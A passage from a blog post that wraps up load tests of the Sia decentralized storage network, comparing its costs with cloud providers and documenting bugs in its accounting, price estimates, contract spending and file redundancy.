&lt;p&gt;Google Cloud Storage’s (GCS) nearline storage class is probably the closest comparison in terms of performance. It’s $10 per TB/month, so Sia still undercuts it by half. Still, there are low-cost centralized providers like Backblaze and &lt;a href=&quot;https://wasabi.com/&quot;&gt;Wasabi&lt;/a&gt; that offer storage for $5 per TB/month, which is on par with Sia.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;Sia&lt;/th&gt;
      &lt;th&gt;Amazon S3&lt;br /&gt;(Standard)&lt;/th&gt;
      &lt;th&gt;GCS Nearline&lt;/th&gt;
      &lt;th&gt;Azure&lt;/th&gt;
      &lt;th&gt;Backblaze B2&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Storage cost&lt;br /&gt;(per TB per month)&lt;/td&gt;
      &lt;td&gt;$4-5&lt;/td&gt;
      &lt;td&gt;$23&lt;/td&gt;
      &lt;td&gt;$10&lt;/td&gt;
      &lt;td&gt;$18.40&lt;/td&gt;
      &lt;td&gt;$5&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;I’m excluding costs for this comparison that I consider negligible:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I exclude the frictional costs of acquiring Siacoin.
    &lt;ul&gt;
      &lt;li&gt;To use Sia, the user must convert fiat currency to a mainstream cryptocurrency such as Bitcoin or Ethereum, then trade that cryptocurrency for Siacoin. Each conversion and coin transfer incurs a small frictional cost.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;I exclude per-request costs.
    &lt;ul&gt;
      &lt;li&gt;Some traditional providers charge fees per HTTP request, but these charges generally account for &amp;lt;1% of costs in practice.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;upload-bandwidth-is-inexpensive&quot;&gt;Upload bandwidth is inexpensive&lt;/h3&gt;

&lt;p&gt;One surprising result was the low cost of upload bandwidth. For the &lt;a href=&quot;/load-test-2&quot;&gt;real data&lt;/a&gt; and &lt;a href=&quot;/load-test-3&quot;&gt;best-case tests&lt;/a&gt;, upload bandwidth was around $0.40-$0.70 per TB of file data uploaded.&lt;/p&gt;

&lt;p&gt;This isn’t exciting in itself because cloud providers typically charge zero for inbound data transit. It does, however, bode well for download bandwidth costs. I didn’t measure downloads in this test, but if they’re within even an order of magnitude of upload bandwidth, it would give Sia a huge price advantage over traditional storage providers, most of whom charge a premium for bandwidth:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;Amazon S3&lt;br /&gt;(Standard)&lt;/th&gt;
      &lt;th&gt;GCS Nearline&lt;/th&gt;
      &lt;th&gt;Azure&lt;/th&gt;
      &lt;th&gt;Backblaze B2&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Download cost&lt;br /&gt;(per TB)&lt;/td&gt;
      &lt;td&gt;$90&lt;/td&gt;
      &lt;td&gt;$130&lt;/td&gt;
      &lt;td&gt;$90&lt;/td&gt;
      &lt;td&gt;$10&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;cost-accounting-is-unreliable&quot;&gt;Cost accounting is unreliable&lt;/h3&gt;

&lt;p&gt;Sia reports its spending through both its &lt;a href=&quot;https://github.com/NebulousLabs/Sia/blob/master/doc/API.md#renter&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;renter&lt;/code&gt;&lt;/a&gt; and its &lt;a href=&quot;https://github.com/NebulousLabs/Sia/blob/master/doc/API.md#wallet&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;wallet&lt;/code&gt;&lt;/a&gt; APIs. Unfortunately, they &lt;a href=&quot;https://github.com/NebulousLabs/Sia/issues/2772&quot;&gt;contradict each other&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In each test, the wallet APIs reported that Sia spent money, but the spends didn’t match up with purchases that the &lt;code class=&quot;highlighter-rouge&quot;&gt;renter&lt;/code&gt; APIs reported:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Test case&lt;/th&gt;
      &lt;th&gt;Spending according to &lt;code class=&quot;highlighter-rouge&quot;&gt;/renter/contracts&lt;/code&gt;&lt;/th&gt;
      &lt;th&gt;Spending according to &lt;code class=&quot;highlighter-rouge&quot;&gt;/wallet&lt;/code&gt;&lt;/th&gt;
      &lt;th&gt;Discrepancy&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;/load-test-1&quot;&gt;Worst-case&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;2,966.7 SC&lt;/td&gt;
      &lt;td&gt;5,000.0 SC&lt;/td&gt;
      &lt;td&gt;2033.3 SC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;/load-test-2&quot;&gt;Real data&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;2,866.7 SC&lt;/td&gt;
      &lt;td&gt;5,000.0  SC&lt;/td&gt;
      &lt;td&gt;2,133.3 SC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;/load-test-3&quot;&gt;Best-case&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;2,833.3 SC&lt;/td&gt;
      &lt;td&gt;3,200.0 SC&lt;/td&gt;
      &lt;td&gt;366.7 SC&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;For the purposes of my reports, I treated the &lt;code class=&quot;highlighter-rouge&quot;&gt;wallet&lt;/code&gt; APIs as the ground truth for spending.&lt;/p&gt;

&lt;p&gt;Sia also reports spending metrics that are &lt;a href=&quot;https://github.com/NebulousLabs/Sia/issues/2768&quot;&gt;logically impossible&lt;/a&gt;. In each of the tests, Sia’s accounting showed increases and &lt;em&gt;decreases&lt;/em&gt; in total storage spending over time. When Sia spends money on a storage contract, the expenditure is permanent so total spending should never decrease.&lt;/p&gt;

&lt;h3 id=&quot;cost-estimates-are-wildly-inaccurate&quot;&gt;Cost estimates are wildly inaccurate&lt;/h3&gt;

&lt;p&gt;Sia offers a &lt;a href=&quot;https://github.com/NebulousLabs/Sia/blob/master/doc/api/Renter.md#json-response-4&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;/renter/prices&lt;/code&gt; API&lt;/a&gt; that Sia-UI and the command-line client use to provide cost estimates to the user before they  store data on Sia. I found that its estimates drastically underestimated Sia’s costs in practice:&lt;/p&gt;

&lt;h4 id=&quot;real-data-scenario&quot;&gt;Real data scenario&lt;/h4&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Cost&lt;/th&gt;
      &lt;th&gt;Advertised&lt;/th&gt;
      &lt;th&gt;Actual (corrected accounting)*&lt;/th&gt;
      &lt;th&gt;% difference from advertised cost&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Upload (SC/TB)&lt;/td&gt;
      &lt;td&gt;27.7&lt;/td&gt;
      &lt;td&gt;35.2&lt;/td&gt;
      &lt;td&gt;+27.4%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Storage (SC/TB/month)&lt;/td&gt;
      &lt;td&gt;96.5&lt;/td&gt;
      &lt;td&gt;203.5&lt;/td&gt;
      &lt;td&gt;+110.8%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Contract fees (SC)&lt;/td&gt;
      &lt;td&gt;56.2&lt;/td&gt;
      &lt;td&gt;1,117.3&lt;/td&gt;
      &lt;td&gt;+1,888.1%&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;* Scaling Sia’s reported costs by 1.74x to correct for accounting bugs.&lt;/p&gt;

&lt;h4 id=&quot;best-case-scenario&quot;&gt;Best-case scenario&lt;/h4&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Cost&lt;/th&gt;
      &lt;th&gt;Advertised&lt;/th&gt;
      &lt;th&gt;Actual (corrected accounting)*&lt;/th&gt;
      &lt;th&gt;% difference from advertised cost&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Upload (SC/TB)&lt;/td&gt;
      &lt;td&gt;37.1&lt;/td&gt;
      &lt;td&gt;53.1&lt;/td&gt;
      &lt;td&gt;+43.2%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Storage (SC/TB/month)&lt;/td&gt;
      &lt;td&gt;99.1&lt;/td&gt;
      &lt;td&gt;188.2&lt;/td&gt;
      &lt;td&gt;+90.0%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Contract fees (SC)&lt;/td&gt;
      &lt;td&gt;70.0&lt;/td&gt;
      &lt;td&gt;710.0&lt;/td&gt;
      &lt;td&gt;+914.9%&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;* Scaling Sia’s reported costs by 1.13x to correct for accounting bugs.&lt;/p&gt;

&lt;p&gt;To work around Sia’s previously mentioned &lt;a href=&quot;#cost-accounting-is-unreliable&quot;&gt;accounting bugs&lt;/a&gt;, I treated Sia’s &lt;code class=&quot;highlighter-rouge&quot;&gt;wallet&lt;/code&gt; API as authoritative and scaled the numbers from its &lt;code class=&quot;highlighter-rouge&quot;&gt;renter&lt;/code&gt; API by a constant factor to match. So in the case of the best-case scenario test, the &lt;code class=&quot;highlighter-rouge&quot;&gt;renter&lt;/code&gt; reported 2,866.7 SC in total spending, while the &lt;code class=&quot;highlighter-rouge&quot;&gt;wallet&lt;/code&gt; reported 5000 SC in total spending. I treated the &lt;code class=&quot;highlighter-rouge&quot;&gt;wallet&lt;/code&gt; as correct and scaled the subcomponents of the renter cost by 5000 / 2866.7 = 1.74x to reconcile the difference:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Cost&lt;/th&gt;
      &lt;th&gt;Raw&lt;/th&gt;
      &lt;th&gt;Corrected&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Upload&lt;/td&gt;
      &lt;td&gt;94.3 SC&lt;/td&gt;
      &lt;td&gt;164.1 SC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Storage&lt;/td&gt;
      &lt;td&gt;1,508.8 SC&lt;/td&gt;
      &lt;td&gt;2625.3 SC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Fees&lt;/td&gt;
      &lt;td&gt;640.6 SC&lt;/td&gt;
      &lt;td&gt;1114.6 SC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Unused contract funds&lt;/td&gt;
      &lt;td&gt;622.9 SC&lt;/td&gt;
      &lt;td&gt;1083.8 SC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total&lt;/td&gt;
      &lt;td&gt;2,866.7 SC&lt;/td&gt;
      &lt;td&gt;5000 SC&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Sia-UI has a separate price estimation bug that exacerbates the incorrect estimates from the API. Sia-UI takes the incorrect prices from the renter API and &lt;a href=&quot;https://github.com/NebulousLabs/Sia-UI/issues/775&quot;&gt;performs an incorrect calculation&lt;/a&gt; to give an even more inaccurate estimate of costs on the network.&lt;/p&gt;

&lt;h3 id=&quot;costs-are-complex-and-unpredictable&quot;&gt;Costs are complex and unpredictable&lt;/h3&gt;

&lt;p&gt;In addition to Sia’s inaccurate estimates, its costs are so complex and depend on so many unknown factors that it’s impossible to calculate costs in advance.&lt;/p&gt;

&lt;p&gt;On storage providers like S3 or GCS, you can predict costs pretty accurately with the following formula:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;total_cost = (file_size * upload_cost) +
             (file_size * storage_cost) +
             (file_size * download_cost)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m neglecting per-request costs and maybe a few other minor costs, but that formula gets you to within 5% of your actual bill. All variables are known a priori.&lt;/p&gt;

&lt;p&gt;Now, I’ll try to create a formula for estimating costs on Sia:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;contract_size = file_size * (1 / storage_efficiency)

total_cost = (contract_size * upload_cost) +
             (contract_size * storage_cost) +
             (file_size * download_cost) +
             ((contract_count + contract_renewals) * contract_fee)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Already, it’s more complex than with traditional providers.&lt;/p&gt;

&lt;p&gt;The worst part is that so many of the variables are unknown. There are nine different variables in that formula. The user only knows &lt;em&gt;one&lt;/em&gt; in advance: &lt;code class=&quot;highlighter-rouge&quot;&gt;file_size&lt;/code&gt;. If Sia fixes their &lt;a href=&quot;#cost-estimates-are-wildly-inaccurate&quot;&gt;price estimation bugs&lt;/a&gt;, four more variables can be known ahead of time: &lt;code class=&quot;highlighter-rouge&quot;&gt;upload_cost&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;storage_cost&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;download_cost&lt;/code&gt;, and &lt;code class=&quot;highlighter-rouge&quot;&gt;contract_fee&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For the rest of the variables, the user can’t know the values in advance even if Sia provided 100% accurate price estimates. &lt;code class=&quot;highlighter-rouge&quot;&gt;storage_efficiency&lt;/code&gt; depends on the distribution of file sizes in the user’s data, and how stable their hosts are. Sia can’t predict it without looking at the files or knowing when hosts will go offline.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;contract_count&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;contract_renewals&lt;/code&gt; depend on the stability of the hosts and on the user’s storage activity. If the user downloads their files frequently, they will generate more contract renewals than a renter who uses Sia for cold storage and rarely downloads files. Even if the user knows what their usage pattern will be, they &lt;em&gt;still&lt;/em&gt; can’t predict their number of contracts because of Sia’s &lt;a href=&quot;#contract-spending-is-unintuitive&quot;&gt;opaque and confusing contract purchasing logic&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;fees-represent-a-high-proportion-of-cost&quot;&gt;Fees represent a high proportion of cost&lt;/h3&gt;

&lt;p&gt;Before I ran this test, I assumed that fees would be only a small percentage of total costs, like 2-4%. In reality, fees accounted for 29-44% of costs in these tests.&lt;/p&gt;

&lt;p&gt;As explained &lt;a href=&quot;#cost-estimates-are-wildly-inaccurate&quot;&gt;above&lt;/a&gt;, fees are the cost for which Sia makes the poorest predictions. In these tests, fees were 10-20x more than what Sia’s price API predicted. As a result, fees make up a substantial share of total costs:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Test case&lt;/th&gt;
      &lt;th&gt;Fee spending (incorrect accounting)&lt;/th&gt;
      &lt;th&gt;Total spending (incorrect accounting)&lt;/th&gt;
      &lt;th&gt;Fees as % of total spending&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;/load-test-1&quot;&gt;Worst-case&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;697.6 SC&lt;/td&gt;
      &lt;td&gt;1,593.1 SC&lt;/td&gt;
      &lt;td&gt;43.8%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;/load-test-2&quot;&gt;Real data&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;640.6 SC&lt;/td&gt;
      &lt;td&gt;2,243.8 SC&lt;/td&gt;
      &lt;td&gt;28.5%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;/load-test-3&quot;&gt;Best-case&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;628.6 SC&lt;/td&gt;
      &lt;td&gt;1,473.3 SC&lt;/td&gt;
      &lt;td&gt;42.7%&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Note that for these numbers, I’m using the raw numbers from the &lt;code class=&quot;highlighter-rouge&quot;&gt;renter&lt;/code&gt; APIs &lt;a href=&quot;#cost-estimates-are-wildly-inaccurate&quot;&gt;even though I think they’re incorrect&lt;/a&gt;. The relevant metric is fees as a percentage of total costs, which remains the same even if I scale all the numbers by a constant factor to reconcile Sia’s accounting errors.&lt;/p&gt;

&lt;h3 id=&quot;fees-are-variable-not-fixed&quot;&gt;Fees are variable, not fixed&lt;/h3&gt;

&lt;p&gt;Prior to this test, I thought that contract fees were independent of the value of the contract.&lt;/p&gt;

&lt;p&gt;Using Bitcoin, a 1 BTC transaction costs the same in fees as a 10 BTC transaction. I believed that Sia’s contract fees would similarly be the same on a 500 SC Sia renter allowance as a 5000 SC allowance. Both Sia-UI and the &lt;code class=&quot;highlighter-rouge&quot;&gt;/renter/prices&lt;/code&gt; API make that claim: you pay the same flat fee regardless of allowance amount. This is not true.&lt;/p&gt;

&lt;p&gt;Before I began official testing, I did a practice run of my test script &lt;a href=&quot;https://redd.it/7y3lzg&quot;&gt;using a 500 SC wallet&lt;/a&gt;. When I began the real tests with a 5000 SC wallet, I was surprised to see Sia spend almost four times in contract fees as it did for my 500 SC test.&lt;/p&gt;

&lt;p&gt;As the test progresses, Sia’s accounting &lt;a href=&quot;#cost-accounting-is-unreliable&quot;&gt;becomes unreliable&lt;/a&gt;, but at contract formation time, Sia’s numbers are consistent and credible. Comparing the 500 SC test to the 5,000 SC test, there are clearly big differences, both in absolute fees and in fees as a percentage of total spending.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Allowance&lt;/th&gt;
      &lt;th&gt;Contract fees&lt;br /&gt;(contract creation time)&lt;/th&gt;
      &lt;th&gt;Total contract spending&lt;br /&gt;(contract creation time)&lt;/th&gt;
      &lt;th&gt;Fees as % of contract costs&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;500 SC&lt;/td&gt;
      &lt;td&gt;122.5 SC&lt;/td&gt;
      &lt;td&gt;166.7 SC&lt;/td&gt;
      &lt;td&gt;73.5%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5000 SC&lt;/td&gt;
      &lt;td&gt;454.4 SC&lt;/td&gt;
      &lt;td&gt;1666.7&lt;/td&gt;
      &lt;td&gt;27.3%&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;contract-spending-is-unintuitive&quot;&gt;Contract spending is unintuitive&lt;/h3&gt;

&lt;p&gt;This test showed me that my mental model of Sia’s contract management was incorrect. I thought that Sia purchased 50 contracts for the duration of the contract period (12 weeks, by default) and then used these 50 contracts until the funds were exhausted or the associated hosts went offline.&lt;/p&gt;

&lt;p&gt;This is not how Sia manages contracts. I don’t fully understand what Sia’s contract logic is, and I don’t see the behavior documented anywhere, but I can glean a bit from the test results.&lt;/p&gt;

&lt;p&gt;Sia seems to optimize for high upload bandwidth at the expense of higher costs. When the user sets an allowance of 5000 SC, Sia doesn’t spend 5000 SC on contracts. Instead, it spends 1/3 of the allowance on contracts and keeps the remaining 2/3 on reserve to reinvest in hosts that perform well.&lt;/p&gt;

&lt;p&gt;When Sia finds a host with high bandwidth, it renews contracts with that host &lt;a href=&quot;https://github.com/NebulousLabs/Sia/issues/2769&quot;&gt;well before its other contracts are exhausted&lt;/a&gt;. &lt;del&gt;This is problematic because Sia always renews by the same small, fixed amount, and small renewals result in a higher proportion of fees.&lt;/del&gt; &lt;strong&gt;Correction&lt;/strong&gt;: Sia actually &lt;a href=&quot;https://www.reddit.com/r/siacoin/comments/8fo0ba/sia_load_test_wrapup/dy636qy/&quot;&gt;doubles the contract size&lt;/a&gt; each renewal, so only the first two renewals are the same size.&lt;/p&gt;

&lt;p&gt;There’s a lot about Sia’s contract purchasing that I still don’t understand. I’m unclear about what causes Sia to purchase a contract with a new host rather than renewing with one of its existing hosts. And I don’t know how Sia chooses between spending extra on fast hosts or spending funds already allocated to slower hosts.&lt;/p&gt;

&lt;p&gt;Puzzlingly, Sia sometimes renews contracts before the contract’s funds are even close to exhaustion. Sia renewed &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1frR3dzoJ5j2ffXO4xLEUl4Guf9dyVkAnbBc5lE1-OJs/edit?usp=sharing&quot;&gt;a contract in one test&lt;/a&gt; to 133.3 SC &lt;del&gt;in increments of 33.3 SC&lt;/del&gt; (&lt;strong&gt;Correction&lt;/strong&gt;: doubling twice from a start of 33.3 SC). By the test’s end, that particular contract had 75 SC in funds remaining. This means that Sia &lt;del&gt;added 33.3 SC to a contract that had at least 41 SC&lt;/del&gt; (&lt;strong&gt;Correction&lt;/strong&gt;: added 66.6 to a contract that had at least 8.4 SC) in remaining, spendable funds.&lt;/p&gt;

&lt;p&gt;I also observed instances of Sia making large, unexpected contract purchases. In the &lt;a href=&quot;/load-test-1&quot;&gt;worst-case test&lt;/a&gt;, while Sia had 1,200 SC sitting in unused contract funds, it suddenly &lt;a href=&quot;https://github.com/NebulousLabs/Sia/issues/2866#issuecomment-373493433&quot;&gt;spent its entire 1,766 SC wallet balance&lt;/a&gt; on new contracts, even though it already had 1,233 SC sitting in unused contracts.&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-28-load-test-wrapup/sudden-spend.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-28-load-test-wrapup/sudden-spend.png&quot; alt=&quot;Graph of Sia&apos;s sudden contract spending in worst-case test&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-28-load-test-wrapup/372/sudden-spend.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-04-28-load-test-wrapup/672/sudden-spend.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-04-28-load-test-wrapup/756/sudden-spend.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-04-28-load-test-wrapup/840/sudden-spend.png 840w,         https://spaceduck.mtlynch.io/images/2018-04-28-load-test-wrapup/sudden-spend.png 1024w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; border&quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Sia 1.3.1 Load Test&amp;#58; Worst-case test - Sia suddenly drains wallet balance on new contracts&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;h3 id=&quot;file-replication-is-bizarre&quot;&gt;File replication is bizarre&lt;/h3&gt;

&lt;p&gt;First, a bit of background on how Sia’s data replication works. Sia stores files redundantly with a 10-of-30 &lt;a href=&quot;https://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction&quot;&gt;Reed-Solomon encoding&lt;/a&gt;. More specifically, it divides each file into chunks of ~40 MiB, then splits each of those chunks into 30 fragments of ~4 MiB each. Sia can reconstruct the original data chunk using any 10 of those 30 fragments. Sia uploads each fragment to a different host so that if any particular host disappears, Sia can still recover the file chunk as long as at least 10 hosts remain online.&lt;/p&gt;

&lt;p&gt;Both Sia-UI and Sia’s command-line interface expose replication to the user in terms of a multiplier, like 3x or 3.5x. This multiplier is simply the number of total file fragments uploaded divided by the number of fragments needed to reconstruct the file. A healthy file has a multiplier of &lt;code class=&quot;highlighter-rouge&quot;&gt;30 / 10 = 3.0x&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If two of the hosts holding fragments go offline, the redundancy will drop to &lt;code class=&quot;highlighter-rouge&quot;&gt;(30 - 2) / 10 = 2.8x&lt;/code&gt;. Conversely, redundancy can increase above 3.0x if a host goes offline, then Sia re-uploads its fragment to a new, healthy host, then the original host comes back online. That would result in a redundancy of &lt;code class=&quot;highlighter-rouge&quot;&gt;31 / 10 = 3.1x&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I calculated aggregate statistics on each file’s redundancy in each of the test cases and found inexplicable numbers:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Test case&lt;/th&gt;
      &lt;th&gt;Min Redundancy&lt;/th&gt;
      &lt;th&gt;Max Redundancy&lt;/th&gt;
      &lt;th&gt;Median Redundancy&lt;/th&gt;
      &lt;th&gt;Mean Redundancy&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;/load-test-1&quot;&gt;Worst-case&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;3.0x&lt;/td&gt;
      &lt;td&gt;11.3x&lt;/td&gt;
      &lt;td&gt;5.3x&lt;/td&gt;
      &lt;td&gt;5.2x&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;/load-test-2&quot;&gt;Real data&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;0.0x&lt;/td&gt;
      &lt;td&gt;5.2x&lt;/td&gt;
      &lt;td&gt;2.5x&lt;/td&gt;
      &lt;td&gt;2.5x&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;/load-test-3&quot;&gt;Best-case&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;3.0x&lt;/td&gt;
      &lt;td&gt;7.3x&lt;/td&gt;
      &lt;td&gt;4.1x&lt;/td&gt;
      &lt;td&gt;4.0x&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The craziest number is the 11.3x redundancy in the worst-case test. This means that Sia started with 30 fragments of a file, then different hosts disappeared and came back &lt;strong&gt;83 times&lt;/strong&gt;. That test only had contracts with 60 hosts, so going through this process 83 times seems illogical.&lt;/p&gt;

&lt;p&gt;I &lt;a href=&quot;https://github.com/NebulousLabs/Sia/issues/2813&quot;&gt;reported this bug&lt;/a&gt;, and the dev team closed it with this note:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Starting from 1.3.2 Sia will only count healthy renewable contracts towards file redundancy. That way we should never see a &amp;gt;3x redundancy for files uploaded with 1.3.2 or higher.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This perhaps prevents users from being confused, but unfortunately doesn’t address the root cause: how could replication have reached such absurdly high levels in the first place?&lt;/p&gt;

&lt;p&gt;Also notable from the table is that the real data case shows suspiciously &lt;em&gt;low&lt;/em&gt; redundancy. I would expect a handful of files to drop below 3.0x redundancy from time to time. In that test, the median redundancy was 2.5x. This means that most files were in an unhealthy state and hadn’t yet been repaired despite plenty of unspent funds in existing contracts.&lt;/p&gt;

&lt;h2 id=&quot;improving-load-tests&quot;&gt;Improving load tests&lt;/h2&gt;

&lt;p&gt;This series of tests was the first rigorous, public test of Sia’s performance. It yielded many interesting findings, but because it was the first of its kind, the test had many shortcomings that I didn’t anticipate when I designed it.&lt;/p&gt;

&lt;p&gt;Having gone through the testing process end-to-end, I’d like to share my thoughts on how the Sia community can improve future testing.&lt;/p&gt;

&lt;h3 id=&quot;run-on-cloud-servers&quot;&gt;Run on cloud servers&lt;/h3&gt;

&lt;p&gt;I originally designed the tests to run on my home desktop because I wanted to minimize emulation. I was concerned that running the test from a Docker container or VM might introduce unexpected side effects to the test.&lt;/p&gt;

&lt;p&gt;I also wanted to test Sia with actual data instead of synthetic files, but that presents challenges in a cloud environment. For example, storing 5 TB of test data on Google Cloud Storage would cost $102.40 per month. On top of that, using Google Compute Engine to run would cost ~$100/TB in bandwidth fees.&lt;/p&gt;

&lt;p&gt;Having run the tests on my home infrastructure, I realize that this has significant drawbacks as well. I only have a single desktop, which meant that I had to run the tests serially rather than in parallel. This substantially increased the total duration of these tests. It also meant that my computer usage unrelated to Sia potentially affected the tests. Notably, in the best-case test, &lt;a href=&quot;/load-test-3/#test-machine-crash&quot;&gt;my desktop crashed&lt;/a&gt; and caused a stark change in Sia’s behavior.&lt;/p&gt;

&lt;p&gt;In retrospect, I think that the disadvantages of home infrastructure outweigh its benefits. I recommend that researchers interested in carrying these tests forward run tests from a cloud VPS provider that offers unmetered network bandwidth.&lt;/p&gt;

